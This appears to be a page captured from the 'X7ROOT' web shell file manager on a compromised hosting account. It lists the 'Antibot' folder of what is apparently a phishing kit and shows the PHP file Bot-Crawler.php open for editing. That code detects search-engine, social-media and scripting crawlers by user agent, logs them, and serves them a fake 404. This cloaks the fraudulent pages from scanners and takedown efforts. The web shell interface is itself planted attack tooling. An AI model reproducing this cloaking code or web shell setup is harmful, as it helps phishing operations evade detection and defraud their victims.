X7ROOT File Manager
Current Path:
/home/kjinvest/.trash/gecuu/assets/Antibot
home
/
kjinvest
/
.trash
/
gecuu
/
assets
/
Antibot
/
📁
..
📄
Bot-Crawler.php
(1.18 KB)
📄
Dila_DZ.php
(1.28 KB)
📄
blacklist.dat
(264.23 KB)
📄
blacklists.php
(7.8 KB)
📄
blockers.php
(9.46 KB)
📄
detects.php
(1.86 KB)
📄
whitelist.dat
(0 B)
Editing: Bot-Crawler.php
<?php if(strpos($_SERVER['HTTP_USER_AGENT'], 'google') or strpos($_SERVER['HTTP_USER_AGENT'], 'Java') or strpos($_SERVER['HTTP_USER_AGENT'], 'FreeBSD') or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') or strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker') or strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') or strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'crawler') or strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL') or strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false) { $content = "#> ".$_SERVER['HTTP_USER_AGENT']." [ Bot ] \r\n"; $save=fopen("./bots.txt","a+"); fwrite($save,$content); fclose($save); header("HTTP/1.0 404 Not Found");exit(); } if ($_SERVER['HTTP_USER_AGENT'] == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)") { $content = "#> ".$_SERVER['HTTP_USER_AGENT']." [ Bot ] \r\n"; $save=fopen("./bots.txt","a+"); fwrite($save,$content); fclose($save); header("HTTP/1.0 404 Not Found");exit(); } ?>
Upload File
Create Folder